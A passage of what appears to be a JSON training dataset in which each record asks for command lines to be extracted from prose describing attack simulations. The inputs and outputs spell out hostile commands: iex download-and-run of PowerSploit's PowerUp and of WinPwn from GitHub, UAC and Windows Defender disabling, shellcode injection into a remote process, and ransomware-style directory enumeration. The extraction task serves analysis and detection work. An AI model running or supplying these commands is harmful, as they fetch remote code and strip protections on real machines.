{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary abusing the Windows Resource kit utility SubInAcl for modifying access permissions, run the following command: \"C:\\Program Files (x86)\\Windows Resource Kits\\Tools\\subinacl.exe\".; You can allow access to files from local shortcuts with local or remote paths by executing these fsutil commands: fsutil behavior set SymlinkEvaluation R2L:1\nfsutil behavior set SymlinkEvaluation R2R:1",
    "output": "{\"command_list\": [\"\\\"C:\\\\Program Files (x86)\\\\Windows Resource Kits\\\\Tools\\\\subinacl.exe\\\"\", \"fsutil behavior set SymlinkEvaluation R2L:1\\nfsutil behavior set SymlinkEvaluation R2R:1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The domain password policy can be displayed by executing this command: net accounts /domain; To display the password policy on macOS, use the following command: pwpolicy getaccountpolicies",
    "output": "{\"command_list\": [\"net accounts /domain\\n\", \"pwpolicy getaccountpolicies\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This setting ensures UAC elevation prompts only appear in secure desktop mode, which can be disabled via the command: Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force; To disable UAC notifications, which can help malware execute with elevated privileges, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Security Center\" /v UACDisableNotify /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"Set-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Security Center\\\" /v UACDisableNotify /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To inject and execute shellcode in a remote process, the program follows these steps and requires this command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug; This utility handles shellcode execution internally by loading DLLs and managing memory permissions, and it can be started via the command: $PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug",
    "output": "{\"command_list\": [\"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateRemoteThreadNative.exe -pid $process.Id -debug\\n\", \"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateThreadNative.exe -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable event logging for stealth purposes, use the following command through WinPwn's functionality: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ninv-phantom -consoleoutput -noninteractive; Windows Defender ATP's scheduled scanning and other functionalities can be disabled with the following command, resulting in Virus and Threat Protection showing as disabled in Windows settings: Set-MpPreference -drtm $True\nSet-MpPreference -dbm $True\nSet-MpPreference -dscrptsc $True\nSet-MpPreference -dbaf $True\n",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ninv-phantom -consoleoutput -noninteractive  \", \"Set-MpPreference -drtm $True\\nSet-MpPreference -dbm $True\\nSet-MpPreference -dscrptsc $True\\nSet-MpPreference -dbaf $True\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics MAZE ransomware's directory enumeration capability via PowerShell, where you can run the following command to output results to a file and display them: $folderarray = @(\"Desktop\", \"Downloads\", \"Documents\", \"AppData/Local\", \"AppData/Roaming\")\nGet-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path \"${env:ProgramFiles(x86)}\" -erroraction silentlycontinue | Out-File -append #{File_to_output}\n$UsersFolder = \"$env:homedrive\\\\Users\\\\\"\nforeach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue) \n{\nforeach ($secondarydirectory in $folderarray)\n {Get-ChildItem -Path \"$UsersFolder/$directory/$secondarydirectory\" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}\n}\ncat #{File_to_output}\n; As observed in BlackCat ransomware attacks, you can create a directory listing by running the command below for a short duration:\nStart-Process \"#{dirlister_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n",
    "output": "{\"command_list\": [\"$folderarray = @(\\\"Desktop\\\", \\\"Downloads\\\", \\\"Documents\\\", \\\"AppData/Local\\\", \\\"AppData/Roaming\\\")\\nGet-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}\\nGet-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}\\nGet-ChildItem -Path \\\"${env:ProgramFiles(x86)}\\\" -erroraction silentlycontinue | Out-File -append #{File_to_output}\\n$UsersFolder = \\\"$env:homedrive\\\\Users\\\\\\\"\\nforeach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue) \\n{\\nforeach ($secondarydirectory in $folderarray)\\n {Get-ChildItem -Path \\\"$UsersFolder/$directory/$secondarydirectory\\\" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}\\n}\\ncat #{File_to_output}\\n\", \"Start-Process \\\"#{dirlister_path}\\\"\\nStart-Sleep -Second 4\\nStop-Process -Name \\\"DirLister\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can display cached TCP metrics for source and destination addresses, filtering out localhost entries, with the command: ip tcp_metrics show |grep --invert-match \"^127\\.\"; This PowerShell script enumerates Active Directory to identify domain-joined computers, similar to how SessionGopher operates, by running the following command: $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\"(ObjectCategory=Computer)\")\n$DirectorySearcher.PropertiesToLoad.Add(\"Name\")\n$Computers = $DirectorySearcher.findall()\nforeach ($Computer in $Computers) {\n  $Computer = $Computer.Properties.name\n  if (!$Computer) { Continue }\n  Write-Host $Computer}\n",
    "output": "{\"command_list\": [\"ip tcp_metrics show |grep --invert-match \\\"^127\\\\.\\\"\\n\", \"$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\\\"(ObjectCategory=Computer)\\\")\\n$DirectorySearcher.PropertiesToLoad.Add(\\\"Name\\\")\\n$Computers = $DirectorySearcher.findall()\\nforeach ($Computer in $Computers) {\\n  $Computer = $Computer.Properties.name\\n  if (!$Computer) { Continue }\\n  Write-Host $Computer}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound 